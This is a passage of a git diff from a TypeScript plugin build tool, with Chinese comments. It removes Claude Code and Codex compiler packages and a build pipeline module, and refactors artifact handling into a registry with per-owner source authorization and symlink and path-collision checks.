默认导出便于直接注册该官方 Compiler。 */ -export default claudeCodeCompiler; diff --git a/packages/compiler-claude-code/tsdown.config.ts b/packages/compiler-claude-code/tsdown.config.ts deleted file mode 100644 index f1a4a98..0000000 --- a/packages/compiler-claude-code/tsdown.config.ts +++ /dev/null @@ -1,13 +0,0 @@ -import { defineConfig } from 'tsdown'; -import { fileURLToPath } from 'node:url'; - -// 私有 Claude Code Compiler 只构建 Node ESM,由主包内联而不单独发布。 -export default defineConfig({ - entry: [fileURLToPath(new URL('./src/index.ts', import.meta.url))], - format: ['esm'], - platform: 'node', - target: 'node20', - dts: { generator: 'oxc' }, - clean: true, - sourcemap: false, -}); diff --git a/packages/compiler-codex/src/index.ts b/packages/compiler-codex/src/index.ts deleted file mode 100644 index 48a1546..0000000 --- a/packages/compiler-codex/src/index.ts +++ /dev/null @@ -1,218 +0,0 @@ -import { - bytesArtifact, - markdownWithFrontmatter, - stableJson, - stableYaml, - type Compiler, - type CompilerContext, - type CompilerOutput, - type Component, -} from '@acplugin/core'; - -/** Codex Compiler 对应的稳定目标平台 ID。 */ -export const CODEX_TARGET = 'codex'; - -/** 只能由 Core Compiler 生成、Module 不得替换的 Codex Plugin 清单字段。 */ -const RESERVED_MANIFEST_FIELDS = new Set(['name', 'version', 'description', 'skills']); - -/** - * 将 Module 贡献的非保留字段合并进 Codex Plugin 清单。 - * - * @param context 当前目标的 Compiler 上下文。 - * @param manifest 正在组装且由调用方持有的清单对象。 - * @throws Module 覆盖保留字段或多个 Module 贡献同名字段时抛出异常。 - */ -function mergeManifestFields(context: CompilerContext, manifest: Record): void { - /** 记录每个扩展字段的唯一贡献 Module,防止依赖顺序静默决定结果。 */ - const owners = new Map(); - for (const { module, contribution } of context.contributions) { - for (const [key, value] of Object.entries(contribution.manifestFields ?? {})) { - if (RESERVED_MANIFEST_FIELDS.has(key)) - throw new Error(`Module ${module} cannot replace reserved manifest field ${key}.`); - /** 已经声明当前扩展字段的 Module。 */ - const owner = owners.get(key); - if (owner) - throw new Error(`Manifest field ${key} is contributed by both ${owner} and ${module}.`); - owners.set(key, module); - manifest[key] = value; - } - } -} - -/** - * 判断 Component 是否直接或通过 Skill 依赖最终需要 Agent。 - * - * Codex 会把自定义 Agent 降级为 Skill,因此依赖方也需要产生传递性降级报告。 - * - * @param component 当前检查的 Component。 - * @param byKey 全部 Component 的类型与 ID 索引。 - * @param seen 当前递归已访问节点,用于防止异常依赖图导致无限递归。 - * @returns 依赖闭包中包含 Agent 时返回 true。 - */ -function requiresAgent(component: Component, byKey: ReadonlyMap, seen = new Set()): boolean { - /** 当前 Component 在依赖图中的唯一键。 */ - const key = `${component.kind}:${component.id}`; - if (seen.has(key)) - return false; - seen.add(key); - if (component.requires.agents.length > 0) - return true; - return component.requires.skills.some((id) => { - const dependency = byKey.get(`skill:${id}`); - return dependency ? requiresAgent(dependency, byKey, seen) : false; - }); -} - -/** - * 为不允许模型隐式调用的 Codex Skill 生成 agents/openai.yaml。 - * - * @param modelInvocation 规范 Skill 是否允许模型自主调用。 - * @returns 需要限制时返回 YAML,否则不生成元数据文件。 - */ -function skillMetadata(modelInvocation: boolean): string | undefined { - if (modelInvocation) - return undefined; - return `${stableYaml({ policy: { allow_implicit_invocation: false } })}\n`; -} - -/** 将规范 PluginProject 编译为可安装的 Codex Plugin 目录。 */ -export const codexCompiler: Compiler = { - id: CODEX_TARGET, - /** - * 编译原生 Skills,并把 Commands、Agents 转换为具有兼容性报告的 Skill 形式。 - * - * @param context Core 提供的规范工程、目标配置和 Module 贡献。 - * @returns 尚未写盘、将由 ArtifactGraph 统一校验的产物与兼容性记录。 - */ - async compile(context): Promise { - /** 当前目标累计生成的 Artifact 输入。 */ - const artifacts = []; - /** 原生、转换和降级映射产生的兼容性结论。 */ - const compatibility = []; - /** 以大小写不敏感方式保留的最终 Codex Skill ID 与来源。 */ - const generatedIds = new Map(); - /** 用于依赖闭包分析的全部规范 Component。 */ - const allComponents: Component[] = [...context.project.commands, ...context.project.skills, ...context.project.agents]; - /** 按类型与 ID 索引的 Component 依赖图节点。 */ - const byKey = new Map(allComponents.map(component => [`${component.kind}:${component.id}`, component])); - - /** - * 为最终生成的 Codex Skill ID 建立跨平台大小写不敏感的唯一性约束。 - * - * @param id 待保留的最终 Skill ID。 - * @param subject 产生该 ID 的规范 Component。 - */ - const reserve = (id: string, subject: string): void => { - /** 已经占用同一大小写不敏感 ID 的 Component。 */ - const collision = generatedIds.get(id.toLocaleLowerCase('en-US')); - if (collision) - throw new Error(`Generated Codex Skill ID collision: ${collision} and ${subject} both use ${id}.`); - generatedIds.set(id.toLocaleLowerCase('en-US'), subject); - }; - - for (const skill of context.project.skills) { - reserve(skill.id, `skill:${skill.id}`); - artifacts.push(bytesArtifact(`skills/${skill.id}/SKILL.md`, markdownWithFrontmatter({ - name: skill.id, - description: skill.description, - }, skill.body))); - /** 禁止模型隐式调用时需要生成的 Codex Skill 元数据。 */ - const metadata = skillMetadata(skill.invocation.model); - if (metadata) - artifacts.push(bytesArtifact(`skills/${skill.id}/agents/openai.yaml`, metadata)); - for (const auxiliary of skill.auxiliaryFiles) { - artifacts.push({ - path: `skills/${skill.id}/${auxiliary.path}`, - source: { type: 'file' as const, path: auxiliary.sourcePath }, - mode: auxiliary.mode, - }); - } - if (!skill.invocation.user) { - compatibility.push({ - target: CODEX_TARGET, - subject: `skill:${skill.id}`, - capability: 'invocation.user', - level: 'degraded', - transformation: 'The Skill remains explicitly invocable.', - reason: 'Codex Skill metadata cannot disable explicit user invocation.', - } as const); - } else { - compatibility.push({ target: CODEX_TARGET, subject: `skill:${skill.id}`, capability: 'component', level: 'native', reason: 'Codex supports plugin Skills.' } as const); - } - } - - for (const command of context.project.commands) { - /** Command 降级生成的显式调用 Skill ID。 */ - const id = `command-${command.id}`; - reserve(id, `command:${command.id}`); - artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ - name: id, - description: command.description, - }, command.body.replaceAll('{{arguments}}', 'the arguments supplied with this explicit invocation')))); - artifacts.push(bytesArtifact(`skills/${id}/agents/openai.yaml`, skillMetadata(false)!)); - compatibility.push({ - target: CODEX_TARGET, - subject: `command:${command.id}`, - capability: 'component', - level: 'transform', - transformation: `Explicit Skill ${id}`, - reason: 'Codex represents Commands as explicitly invoked Skills.', - } as const); - } - - for (const agent of context.project.agents) { - /** Agent 降级生成的指导型 Skill ID。 */ - const id = `agent-${agent.id}`; - reserve(id, `agent:${agent.id}`); - /** 保留 Agent 意图但明确平台无法强制模型与能力的降级正文。 */ - const guidance = [ - agent.body, - '', - `Intended model class: ${agent.model}.`, - `Intended capabilities: ${agent.capabilities.join(', ') || 'none declared'}.`, - 'When delegation is available, use a focused subagent with this role. These settings are guidance, not enforced registration.', - ].join('\n'); - artifacts.push(bytesArtifact(`skills/${id}/SKILL.md`, markdownWithFrontmatter({ - name: id, - description: agent.description, - }, guidance))); - compatibility.push({ - target: CODEX_TARGET, - subject: `agent:${agent.id}`, - capability: 'component', - level: 'degraded', - transformation: `Model-only fallback Skill ${id}`, - reason: 'Codex installable plugins cannot register project/user custom Agents; model and capability enforcement are lost.', - } as const); - } - - for (const component of allComponents) { - if (component.kind !== 'agent' && requiresAgent(component, byKey)) { - compatibility.push({ - target: CODEX_TARGET, - subject: `${component.kind}:${component.id}`, - capability: 'requires.agents', - level: 'degraded', - reason: 'A required Agent is degraded to a fallback Skill on Codex.', - causes: component.requires.agents.map(id => `agent:${id}`), - } as const); - } - } - - /** 由 Core 字段和 Module 扩展共同构成的 Codex Plugin 清单。 */ - const manifest: Record = { - name: context.project.name, - version: context.project.version, - description: context.project.description, - }; - if (generatedIds.size > 0) - manifest.skills = './skills/'; - mergeManifestFields(context, manifest); - artifacts.push(bytesArtifact('.codex-plugin/plugin.json', stableJson(manifest))); - - return { artifacts, compatibility }; - }, -}; - -/** 默认导出便于直接注册该官方 Compiler。 */ -export default codexCompiler; diff --git a/packages/core/package.json b/packages/core/package.json index c480ebc..70b2a55 100644 --- a/packages/core/package.json +++ b/packages/core/package.json @@ -3,8 +3,15 @@ "version": "0.0.0", "private": true, "type": "module", - "engines": { "node": ">=20" }, - "exports": { ".": { "types": "./dist/index.d.mts", "import": "./dist/index.mjs" } }, + "engines": { + "node": ">=20" + }, + "exports": { + ".": { + "types": "./dist/index.d.mts", + "import": "./dist/index.mjs" + } + }, "scripts": { "build": "tsdown", "test": "vitest run --passWithNoTests", @@ -12,13 +19,15 @@ }, "dependencies": { "semver": "^7.8.5", + "spdx-expression-parse": "^5.0.0", "yaml": "^2.9.0" }, "devDependencies": { "@types/node": "catalog:", "@types/semver": "^7.7.1", + "@types/spdx-expression-parse": "^4.0.0", "tsdown": "catalog:", - "typescript": "catalog:", + "@typescript/native": "catalog:", "vitest": "catalog:" } } diff --git a/packages/core/src/artifacts.ts b/packages/core/src/artifacts.ts index a0d18c1..70e910b 100644 --- a/packages/core/src/artifacts.ts +++ b/packages/core/src/artifacts.ts @@ -2,29 +2,24 @@ import { createHash } from 'node:crypto'; import { createReadStream } from 'node:fs'; import { promises as fs } from 'node:fs'; import path from 'node:path'; +import { OutputPathRegistry } from './output-paths.js'; import type { Artifact, ArtifactInput, ArtifactMode } from './types.js'; -/** - * 将用户提供的产物路径规范化为安全、稳定的 POSIX 相对路径。 - * - * 路径会统一为 NFC,以避免视觉相同但编码不同的文件绕过冲突检测。 - * - * @param value 配置或 Module 提供的目标路径。 - * @returns 可作为 Artifact 唯一标识的规范化路径。 - * @throws 路径使用反斜杠、绝对路径或能够逃逸目标根目录时抛出异常。 - */ -function normalizeArtifactPath(value: string): string { - if (value.includes('\\')) - throw new Error(`Artifact path must use POSIX separators: ${value}`); - if (path.posix.isAbsolute(value)) - throw new Error(`Artifact path must be relative: ${value}`); - // 规范化分隔片段和 Unicode 编码后,再判断是否仍处于目标根目录内。 - const normalized = path.posix.normalize(value).normalize('NFC'); - if (normalized === '.' || normalized === '' || normalized === '..' || normalized.startsWith('../')) - throw new Error(`Artifact path escapes the target root: ${value}`); - return normalized; +/** 单个精确文件来源及其必须保持无符号链接的信任根。 */ +export interface ArtifactSourceFileAuthorization { + readonly path: string; + readonly root: string; } +/** 一个 Artifact owner 可以读取的独占目录与已扫描精确文件。 */ +export interface ArtifactSourcePolicy { + readonly roots?: readonly string[]; + readonly files?: readonly ArtifactSourceFileAuthorization[]; +} + +/** 按完整 owner 名称隔离的 Artifact 文件来源授权表。 */ +export type ArtifactSourcePolicies = ReadonlyMap; + /** * 判断候选路径是否位于指定根目录内,或与根目录本身相同。 * @@ -68,21 +63,56 @@ export async function hashFile(file: string): Promise<{ sha256: string; size: nu * Graph 只接受内存快照或可信源目录中的普通文件;加入后的元数据不可变, * 从而为后续事务写入和构建报告提供确定输入。 */ -export class ArtifactGraph { +export class ArtifactRegistry { /** 以规范化目标路径索引的不可变 Artifact。 */ readonly #artifacts = new Map(); - /** 以大小写不敏感键索引原始路径,用于跨文件系统发现路径碰撞。 */ - readonly #normalizedPaths = new Map(); - /** 允许文件型 Artifact 读取的绝对源目录集合。 */ - readonly #allowedSourceRoots: readonly string[]; + /** 固定生命周期按 owner 隔离的精确来源授权。 */ + readonly #sourcePolicies: ArtifactSourcePolicies; + /** 与 Document 共享或由当前 Registry 独占的输出路径占用表。 */ + readonly #paths: OutputPathRegistry; /** * 创建单次构建使用的 Artifact 图。 * - * @param allowedSourceRoots Scanner、Public 等允许贡献文件的可信根目录。 + * @param sourcePolicies 固定生命周期按 owner 隔离的来源授权表。 + * @param paths 可选的共享路径占用表,用于同时检查 Document 与 Artifact。 */ - constructor(allowedSourceRoots: readonly string[]) { - this.#allowedSourceRoots = allowedSourceRoots.map(root => path.resolve(root)); + constructor(sourcePolicies: ArtifactSourcePolicies, paths: OutputPathRegistry = new OutputPathRegistry()) { + /** 复制并解析全部路径,阻止调用方在构建期间替换授权 Map 或数组。 */ + const policies = new Map(); + for (const [owner, policy] of sourcePolicies) { + policies.set(owner, Object.freeze({ + roots: Object.freeze((policy.roots ?? []).map(root => path.resolve(root))), + files: Object.freeze((policy.files ?? []).map(file => Object.freeze({ + path: path.resolve(file.path), + root: path.resolve(file.root), + }))), + })); + } + this.#sourcePolicies = policies; + this.#paths = paths; + } + + /** + * 为当前 owner 和精确文件来源选择最具体的信任根。 + * + * @param owner Artifact 的固定所有者。 + * @param sourcePath 已解析的绝对文件路径。 + * @returns 可用于逐层 lstat 的授权根;没有授权时返回 undefined。 + */ + #allowedRoot(owner: string, sourcePath: string): string | undefined { + /** 当前 owner 独占且不能回退到其他对象授权的来源策略。 */ + const policy = this.#sourcePolicies.get(owner); + if (!policy) + return undefined; + /** 目录授权和精确扫描文件授权共同产生的候选信任根。 */ + const roots = [ + ...(policy.roots ?? []).filter(root => isInside(root, sourcePath)), + ...(policy.files ?? []) + .filter(file => file.path === sourcePath && isInside(file.root, sourcePath)) + .map(file => file.root), + ]; + return roots.sort((left, right) => right.length - left.length)[0]; } /** @@ -91,69 +121,88 @@ export class ArtifactGraph { * @returns 不暴露内部 Map 顺序和可变性的只读列表。 */ get artifacts(): readonly Artifact[] { - return [...this.#artifacts.values()].sort((a, b) => a.path.localeCompare(b.path, 'en')); + return Object.freeze([...this.#artifacts.values()].sort((a, b) => a.path.localeCompare(b.path, 'en'))); } /** * 验证并加入一个构建产物。 * - * @param owner 负责生成该产物的 Compiler 或 Module 标识。 + * @param owner 负责生成该产物的 Platform 或 Extension 标识。 * @param input 尚未校验的 Artifact 描述。 * @returns 已冻结且带内容摘要的 Artifact。 * @throws 目标路径冲突、权限模式非法或文件来源越过可信根目录时抛出异常。 */ async add(owner: string, input: ArtifactInput): Promise { + /** 最终写入权限只允许普通文件与可执行文件两种可移植模式。 */ + let mode: ArtifactMode | undefined = input.mode; + if (mode !== undefined && mode !== 0o644 && mode !== 0o755) + throw new Error(`Unsupported Artifact mode for ${input.path}.`); /** 经过目录逃逸与 Unicode 规范化检查的最终目标路径。 */ - const artifactPath = normalizeArtifactPath(input.path); - // 大小写不敏感键保证同一构建在 Linux、macOS 和 Windows 上具有一致的冲突结果。 - const collisionKey = artifactPath.toLocaleLowerCase('en-US').normalize('NFC'); - /** 已占用同一跨平台路径键的产物路径。 */ - const existingPath = this.#normalizedPaths.get(collisionKey); - if (existingPath) - throw new Error(`Artifact collision between "${existingPath}" and "${artifactPath}".`); + const reservation = this.#paths.reserve(owner, 'artifact', input.path); + /** 与共享路径占用记录一致的规范 Artifact 路径。 */ + const artifactPath = reservation.path; - /** 最终写入权限只允许普通文件与可执行文件两种可移植模式。 */ - const mode: ArtifactMode = input.mode ?? 0o644; - if (mode !== 0o644 && mode !== 0o755) - throw new Error(`Unsupported Artifact mode for ${artifactPath}.`); + try { + /** 在加入 Registry 时确定的内容字节数。 */ + let size: number; + /** 在加入 Registry 时确定的内容摘要,用于报告和事务校验。 */ + let sha256: string; + /** 与摘要对应的不可变内存快照或已验证文件来源。 */ + let source: Artifact['source']; + if (input.source.type === 'bytes') { + /** 复制后的 Registry 内部字节快照。 */ + const value = Uint8Array.from(input.source.value); + mode ??= 0o644; + size = value.byteLength; + sha256 = createHash('sha256').update(value).digest('hex'); + source = Object.freeze({ + type: 'bytes' as const, + /** 每次返回副本,阻止调用方通过下标修改 Registry 内部快照。 */ + get value() { return Uint8Array.from(value); }, + }); + } else { + /** 解析后的文件来源路径,后续所有安全判断都基于该绝对路径。 */ + const sourcePath = path.resolve(input.source.path); + /** 最具体的可信根用于检查根目录以下的每一层符号链接。 */ + const allowedRoot = this.#allowedRoot(owner, sourcePath); + if (!allowedRoot) + throw new Error(`Artifact source is outside allowed roots for owner "${owner}": ${input.source.path}`); + /** 从可信根到文件的每一级路径片段。 */ + const segments = path.relative(allowedRoot, sourcePath).split(path.sep).filter(Boolean); + /** 当前执行 lstat 且不得为符号链接的来源路径。 */ + let current = allowedRoot; + for (const segment of segments) { + current = path.join(current, segment); + /** 当前层级的文件类型,用于阻断信任根以下的符号链接跳转。 */ + const currentStat = await fs.lstat(current); + if (currentStat.isSymbolicLink()) + throw new Error(`Artifact source must not contain symbolic links: ${input.source.path}`); + } + /** 最终来源必须是普通文件而不是目录或特殊设备。 */ + const stat = await fs.lstat(sourcePath); + if (!stat.isFile()) + throw new Error(`Artifact source must be a regular non-symlink file: ${input.source.path}`); + mode ??= stat.mode & 0o111 ? 0o755 : 0o644; + ({ size, sha256 } = await hashFile(sourcePath)); + source = Object.freeze({ type: 'file', path: sourcePath }); + } - /** 在加入 Graph 时确定的内容字节数。 */ - let size: number; - /** 在加入 Graph 时确定的内容摘要,用于报告和事务校验。 */ - let sha256: string; - /** 与摘要对应的不可变内存快照或已验证文件来源。 */ - let source: Artifact['source']; - if (input.source.type === 'bytes') { - // 复制调用方的 Uint8Array,避免其在 add 返回后修改已计算摘要对应的内容。 - const value = Uint8Array.from(input.source.value); - size = value.byteLength; - sha256 = createHash('sha256').update(value).digest('hex'); - source = Object.freeze({ type: 'bytes', value }); - } else { - /** 解析后的文件来源路径,后续所有安全判断都基于该绝对路径。 */ - const sourcePath = path.resolve(input.source.path); - if (!this.#allowedSourceRoots.some(root => isInside(root, sourcePath))) - throw new Error(`Artifact source is outside allowed roots: ${input.source.path}`); - // 使用 lstat 拒绝符号链接,防止校验可信路径后再间接读取边界外文件。 - const stat = await fs.lstat(sourcePath); - if (stat.isSymbolicLink() || !stat.isFile()) - throw new Error(`Artifact source must be a regular non-symlink file: ${input.source.path}`); - ({ size, sha256 } = await hashFile(sourcePath)); - source = Object.freeze({ type: 'file', path: sourcePath }); + /** 完成路径、来源和摘要验证后对外暴露的最终产物记录。 */ + const artifact: Artifact = Object.freeze({ + path: artifactPath, + source, + owner, + mode, + size, + sha256, + }); + this.#artifacts.set(artifactPath, artifact); + return artifact; + } catch /** error 保存当前操作捕获的异常,供本阶段转换或恢复。 */ (error) { + // 内容或来源验证失败不能永久占用路径,便于调用方修正后在同一 Registry 重试。 + this.#paths.release(artifactPath); + throw error; } - - /** 完成路径、来源和摘要验证后对外暴露的最终产物记录。 */ - const artifact: Artifact = Object.freeze({ - path: artifactPath, - source, - owner, - mode, - size, - sha256, - }); - this.#artifacts.set(artifactPath, artifact); - this.#normalizedPaths.set(collisionKey, artifactPath); - return artifact; } } @@ -163,14 +212,15 @@ export class ArtifactGraph { * @param pathname 产物相对于目标根目录的 POSIX 路径。 * @param content UTF-8 文本或调用方提供的原始字节。 * @param mode 可选的目标文件权限模式。 - * @returns 可交给 ArtifactGraph 校验和快照化的输入。 + * @returns 可交给 ArtifactRegistry 校验和快照化的输入。 */ export function bytesArtifact(pathname: string, content: string | Uint8Array, mode?: ArtifactMode): ArtifactInput { - /** 统一为字节表示;ArtifactGraph.add 会再次复制以建立所有权边界。 */ + /** 统一为字节表示;ArtifactRegistry.add 会再次复制以建立所有权边界。 */ const value = typeof content === 'string' ? new TextEncoder().encode(content) : content; - /** 尚未进入 Graph、因此尚未带摘要信息的内存产物输入。 */ - const artifact: ArtifactInput = { path: pathname, source: { type: 'bytes', value } }; - if (mode !== undefined) - artifact.mode = mode; - return artifact; + /** 尚未进入 Graph、因此尚未带摘要信息的不可变内存产物输入。 */ + return { + path: pathname, + source: { type: 'bytes', value }, + ...(mode === undefined ? {} : { mode }), + }; } diff --git a/packages/core/src/builder.ts b/packages/core/src/builder.ts deleted file mode 100644 index a77889a..0000000 --- a/packages/core/src/builder.ts +++ /dev/null @@ -1,384 +0,0 @@ -import { promises as fs } from 'node:fs'; -import path from 'node:path'; -import { ArtifactGraph } from './artifacts.js'; -import { applyCompatibilityStrictness, DiagnosticCollector, sanitizeReportText, sortCompatibility } from './diagnostics.js'; -import { scanProject } from './scanner.js'; -import { commitManagedOutput, validateMaterialization } from './transaction.js'; -import type { - AcpluginModule, - Artifact, - ArtifactReportEntry, - BuildReport, - BuildRequest, - BuildResult, - CompatibilityEntry, - Diagnostic, - ModuleBaseContext, - PluginProject, - TargetContribution, - TargetId, -} from './types.js'; - -/** 保存单个 Module 在一次构建生命周期中的隔离目录和阶段状态。 */ -interface ModuleRuntime { - /** 当前执行的 Module 定义。 */ - module: AcpluginModule; - /** 仅供该 Module 使用的临时工作目录。 */ - workDir: string; - /** discover 阶段产生并传递给后续 Hook 的状态。 */ - state: unknown; - /** build 阶段产生并传递给 generate Hook 的状态。 */ - builtState: unknown; -} - -/** - * 按 Module 依赖关系执行稳定的拓扑排序。 - * - * 没有依赖关系的 Module 保持配置中的相对顺序,以保证构建结果可预测。 - * - * @param modules 配置解析完成后的 Module 列表。 - * @returns 依赖项始终位于使用方之前的新数组。 - * @throws 依赖缺失或依赖图存在环时抛出异常。 - */ -function sortModules(modules: readonly AcpluginModule[]): AcpluginModule[] { - /** 按唯一名称索引 Module,用于解析 dependsOn。 */ - const byName = new Map(modules.map(module => [module.name, module])); - /** Module 在用户配置中的位置,用作无依赖节点的稳定排序依据。 */ - const configuredIndex = new Map(modules.map((module, index) => [module.name, index])); - /** 已完成拓扑排序的 Module。 */ - const result: AcpluginModule[] = []; - /** 当前深度优先路径上的 Module,用于发现依赖环。 */ - const visiting = new Set(); - /** 已完整访问的 Module,防止重复加入结果。 */ - const visited = new Set(); - - /** - * 深度优先访问单个 Module,并在其依赖完成后加入结果。 - * - * @param module 当前待访问的 Module。 - * @param stack 不包含当前节点的依赖访问路径,用于生成可读环路。 - */ - const visit = (module: AcpluginModule, stack: string[]): void => { - if (visited.has(module.name)) - return; - if (visiting.has(module.name)) - throw new Error(`Module dependency cycle: ${[...stack, module.name].join(' -> ')}`); - visiting.add(module.name); - for (const dependency of module.dependsOn ?? []) { - /** 依赖名称对应的已配置 Module。 */ - const target = byName.get(dependency); - if (!target) - throw new Error(`Module "${module.name}" requires missing module "${dependency}".`); - visit(target, [...stack, module.name]); - } - visiting.delete(module.name); - visited.add(module.name); - result.push(module); - }; - - for (const module of [...modules].sort((a, b) => (configuredIndex.get(a.name) ?? 0) - (configuredIndex.get(b.name) ?? 0))) - visit(module, []); - return result; -} - -/** - * 提取当前 Module 声明依赖的阶段状态,并保持 dependsOn 中的声明顺序。 - * - * @param runtime 当前 Module 的运行时记录。 - * @param all 全部已配置 Module 的运行时索引。 - * @param field 需要暴露 discover 状态还是 build 状态。 - * @returns 只包含直接依赖的状态映射。 - */ -function dependencyMap( - runtime: ModuleRuntime, - all: ReadonlyMap, - field: 'state' | 'builtState', -): ReadonlyMap { - return new Map((runtime.module.dependsOn ?? []).map(name => [name, all.get(name)?.[field]])); -} - -/** - * 为 Module Hook 构造统一基础上下文。 - * - * @param request 本次构建请求。 - * @param diagnostics 构建生命周期共享的诊断收集器。 - * @param runtime 当前 Module 的运行时记录。 - * @param all 全部 Module 的运行时索引。 - * @returns 带隔离工作目录和依赖状态的 Hook 上下文。 - */ -function moduleContext( - request: BuildRequest, - diagnostics: DiagnosticCollector, - runtime: ModuleRuntime, - all: ReadonlyMap, -): ModuleBaseContext { - return { - config: request.config, - diagnostics, - loadTypeScriptModule: request.loadTypeScriptModule, - workDir: runtime.workDir, - dependencyState: dependencyMap(runtime, all, 'state'), - dependencyBuiltState: dependencyMap(runtime, all, 'builtState'), - }; -} - -/** - * 根据构建最终状态创建可持久化的确定性报告。 - * - * validate 命令只验证可物化性,不对外承诺产物,因此报告中不会包含 Artifact。 - * - * @param request 本次构建请求。 - * @param project Scanner 成功产出的规范工程。 - * @param diagnostics 已完成脱敏和排序的诊断。 - * @param compatibility 各 Compiler 与 Module 汇总的兼容性条目。 - * @param artifacts 各目标的产物元数据。 - * @param committed 是否已经完成受管输出目录交换。 - * @returns 构建命令的最终报告。 - */ -function createReport( - request: BuildRequest, - project: PluginProject | undefined, - diagnostics: readonly Diagnostic[], - compatibility: readonly CompatibilityEntry[], - artifacts: readonly ArtifactReportEntry[], - committed: boolean, -): BuildReport { - return { - schemaVersion: '1', - command: request.config.command, - mode: request.config.mode, - project: { name: request.config.name, version: request.config.version }, - targets: request.config.targets.map(target => target.id), - diagnostics, - compatibility: sortCompatibility(compatibility), - artifacts: request.config.command === 'validate' - ? [] - : [...artifacts].sort((a, b) => a.target.localeCompare(b.target, 'en') || a.path.localeCompare(b.path, 'en')), - success: !diagnostics.some(diagnostic => diagnostic.severity === 'error') && project !== undefined, - committed, - }; -} - -/** - * 执行一次完整的 acplugin 构建或验证 Pipeline。 - * - * 生命周期顺序固定为 Module configResolved/discover、Core scan、Module validate/build、 - * 逐目标 generate/compile、Artifact 校验与提交,最后逆序执行 buildEnd。 - * - * @param request 已解析配置、Compiler 注册表和提交策略。 - * @returns 项目快照与不会泄露内部异常内容的构建报告。 - */ -export async function buildProject(request: BuildRequest): Promise { - /** 在全部 Pipeline 阶段间共享的安全诊断收集器。 */ - const diagnostics = new DiagnosticCollector(); - /** 所有目标和 Module 产生的兼容性说明。 */ - const compatibility: CompatibilityEntry[] = []; - /** 用于报告且不包含实际内容的 Artifact 元数据。 */ - const artifactReports: ArtifactReportEntry[] = []; - /** 按目标保存已验证的最终 Artifact 图,供事务阶段统一提交。 */ - const targetArtifacts = new Map(); - /** 本次构建隔离的 Module 临时目录根节点。 */ - const runtimeRoot = await fs.mkdtemp(path.join(request.config.root, '.acplugin-work-')); - /** 按 Module 名称索引运行时状态,供依赖方读取。 */ - const runtimes = new Map(); - /** 已成功进入生命周期、因此必须执行 buildEnd 的 Module。 */ - const initialized: ModuleRuntime[] = []; - /** Scanner 产出的规范工程;扫描发生前保持未定义。 */ - let project: PluginProject | undefined; - /** 需要传递给 buildEnd 和事务回滚的首个框架异常。 */ - let originalError: unknown; - /** 受管输出目录是否已经成功完成交换。 */ - let committed = false; - /** 防止 buildEnd 在正常路径、异常路径和 finally 中重复执行。 */ - let finalized = false; - - /** - * 以初始化的逆序执行所有 Module 的 buildEnd,并保留最早失败原因。 - * - * @param cause 触发清理的原始失败;正常结束时为 undefined。 - * @returns 原始失败或第一个 buildEnd 失败。 - */ - const finalizeModules = async (cause: unknown): Promise => { - if (finalized) - return cause; - finalized = true; - /** 向后续 buildEnd 传播且最终决定事务是否回滚的首个清理原因。 */ - let cleanupCause = cause; - // 逆序收尾与依赖初始化顺序相反,使使用方先于其依赖释放资源。 - for (const runtime of [...initialized].reverse()) { - try { - const context = moduleContext(request, diagnostics, runtime, runtimes); - await runtime.module.buildEnd?.(cleanupCause === undefined ? context : { ...context, error: cleanupCause }); - } catch (error) { - cleanupCause ??= error; - diagnostics.error('MODULE_BUILD_END_FAILED', `Module ${runtime.module.name} buildEnd failed.`, { phase: 'buildEnd', module: runtime.module.name }); - } - } - return cleanupCause; - }; - - try { - /** 按依赖顺序排列、可安全启动生命周期的 Module。 */ - let orderedModules: AcpluginModule[]; - try { - orderedModules = sortModules(request.config.modules); - } catch { - diagnostics.error('MODULE_GRAPH_INVALID', 'Module dependency graph is invalid.', { phase: 'config' }); - orderedModules = []; - } - - for (const module of orderedModules) { - /** 当前 Module 在本次构建中的隔离运行时记录。 */ - const runtime: ModuleRuntime = { - module, - workDir: path.join(runtimeRoot, encodeURIComponent(module.name)), - state: undefined, - builtState: undefined, - }; - await fs.mkdir(runtime.workDir, { recursive: true }); - runtimes.set(module.name, runtime); - try { - await module.configResolved?.(request.config); - // 只有 configResolved 成功的 Module 才进入后续 Hook,并承担 buildEnd 清理责任。 - initialized.push(runtime); - } catch { - diagnostics.error('MODULE_HOOK_FAILED', `Module ${module.name} configResolved failed.`, { phase: 'configResolved', module: module.name }); - } - } - - // discover 仅允许 Module 准备自己的状态;规范 Component 仍由随后执行的 Core Scanner 创建。 - for (const runtime of initialized) { - try { - runtime.state = await runtime.module.discover?.(moduleContext(request, diagnostics, runtime, runtimes)); - } catch { - diagnostics.error('MODULE_HOOK_FAILED', `Module ${runtime.module.name} discover failed.`, { phase: 'discover', module: runtime.module.name }); - } - } - - /** Core Scanner 返回的规范工程和共享诊断收集器。 */ - const scanned = await scanProject(request.config, diagnostics); - project = scanned.project; - - for (const runtime of initialized) { - try { - await runtime.module.validate?.({ ...moduleContext(request, diagnostics, runtime, runtimes), project }, runtime.state); - } catch { - diagnostics.error('MODULE_HOOK_FAILED', `Module ${runtime.module.name} validate failed.`, { phase: 'validate', module: runtime.module.name }); - } - } - - if (!diagnostics.hasErrors) { - // validate 产生任何错误后不再执行 build,避免 Module 基于无效工程制造派生状态。 - for (const runtime of initialized) { - try { - runtime.builtState = await runtime.module.build?.({ ...moduleContext(request, diagnostics, runtime, runtimes), project }, runtime.state); - } catch { - diagnostics.error('MODULE_HOOK_FAILED', `Module ${runtime.module.name} build failed.`, { phase: 'build', module: runtime.module.name }); - } - } - } - - if (!diagnostics.hasErrors) { - for (const target of request.config.targets) { - /** 进入当前目标生成前的错误数,用于隔离 generate Hook 的失败。 */ - const errorsBeforeTarget = diagnostics.diagnostics.filter(item => item.severity === 'error').length; - /** 与当前目标 ID 对应的内置 Compiler。 */ - const compiler = request.compilers.get(target.id); - if (!compiler) { - diagnostics.error('COMPILER_MISSING', `No Compiler registered for ${target.id}.`, { phase: 'generate', target: target.id }); - continue; - } - /** Module 针对当前目标产生的附加 Artifact 和兼容性信息。 */ - const contributions: { module: string; contribution: TargetContribution }[] = []; - for (const runtime of initialized) { - try { - /** 当前 Module 针对目标生成的可选贡献。 */ - const contribution = await runtime.module.generate?.( - { ...moduleContext(request, diagnostics, runtime, runtimes), project: project!, target: target.id }, - runtime.state, - runtime.builtState, - ); - if (contribution) - contributions.push({ module: runtime.module.name, contribution }); - } catch { - diagnostics.error('MODULE_HOOK_FAILED', `Module ${runtime.module.name} generate failed.`, { phase: 'generate', module: runtime.module.name, target: target.id }); - } - } - if (diagnostics.diagnostics.filter(item => item.severity === 'error').length > errorsBeforeTarget) - 